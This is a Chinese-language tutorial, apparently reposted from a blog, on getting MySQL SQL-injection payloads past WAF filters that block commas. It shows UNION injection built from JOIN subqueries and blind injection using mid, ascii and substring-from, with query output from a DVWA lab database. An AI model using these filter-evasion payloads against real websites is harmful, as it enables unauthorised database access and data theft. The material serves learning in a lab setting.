SQL注入技巧之显注与盲注中过滤逗号绕过详析
前言
sql注入在很早很早以前是很常见的一个漏洞。后来随着安全水平的提高，sql注入已经很少能够看到了。但是就在今天，还有很多网站带着sql注入漏洞在运行。下面这篇文章主要介绍了关于SQL注入逗号绕过的相关内容，分享出来供大家参考学习，下面话不多说了，来一起看看详细的介绍吧
1.联合查询显注绕过逗号
在联合查询时使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位，语句中包含了多个逗号，如果有WAF拦截了逗号时，我们的联合查询不能用了。
绕过
在显示位上替换为常见的注入变量或其它语句
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union select 1,2,3;
union select * from ((select 1)A join (select 2)B join (select 3)C）;
union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);
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在数据库中演示联合查询
UNION开始是我们在URL中注入的语句，这里只是演示，在实际中如果我们在注入语句中有逗号就可能被拦截
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mysql> select user_id,user,password from users union select 1,2,3;
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | 3 |
+---------+-------+----------------------------------+
2 rows in set (0.04 sec)
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不出现逗号，使用Join来注入
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mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select 3)C);
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | 3 |
+---------+-------+----------------------------------+
2 rows in set (0.05 sec)
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查询我们想要的数据
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mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);;
+---------+-------+-------------------------------------------------+
| user_id | user | password |
+---------+-------+-------------------------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | root@192.168.228.1 dvwa c:\phpStudy\MySQL\data\ |
+---------+-------+-------------------------------------------------+
2 rows in set (0.08 sec)
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2.盲注中逗号绕过
MID 和substr 函数用于从文本字段中提取字符
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mysql> select mid(user(),1,2);
+-----------------+
| mid(user(),1,2) |
+-----------------+
| ro |
+-----------------+
1 row in set (0.04 sec)
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查询数据库用户名第一个字符的ascii码
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mysql> select user_id,user,password from users union select ascii(mid(user(),1,2)),2,3;
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 114 | 2 | 3 |
+---------+-------+----------------------------------+
2 rows in set (0.05 sec)
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盲注，通过猜ascii值
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mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=115) ;
Empty set
mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=114) ;
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+-------+----------------------------------+
1 row in set (0.04 sec)
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逗号绕过SUBTTRING 函数
substring(str FROM pos)
从字符串str的起始位置pos 返回一个子串
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mysql> select substring('hello' from 1);
+---------------------------+
| substring('hello' from 1) |
+---------------------------+
| hello |
+---------------------------+
1 row in set (0.04 sec)
mysql> select substring('hello' from 2);
+---------------------------+
| substring('hello' from 2) |
+---------------------------+
| ello |
+---------------------------+
1 row in set (0.03 sec)
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注入
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mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=114) ;
Empty set
//substring(user() from 2)为o
//o的ascii为111，
mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=111) ;
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+-------+----------------------------------+
1 row in set (0.03 sec)
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总结
以上就是这篇文章的全部内容了，希望本文的内容对大家的学习或者工作具有一定的参考学习价值，如果有疑问大家可以留言交流，谢谢大家对的支持。
原文链接：http://www.cnblogs.com/hackxf/p/9490534.html
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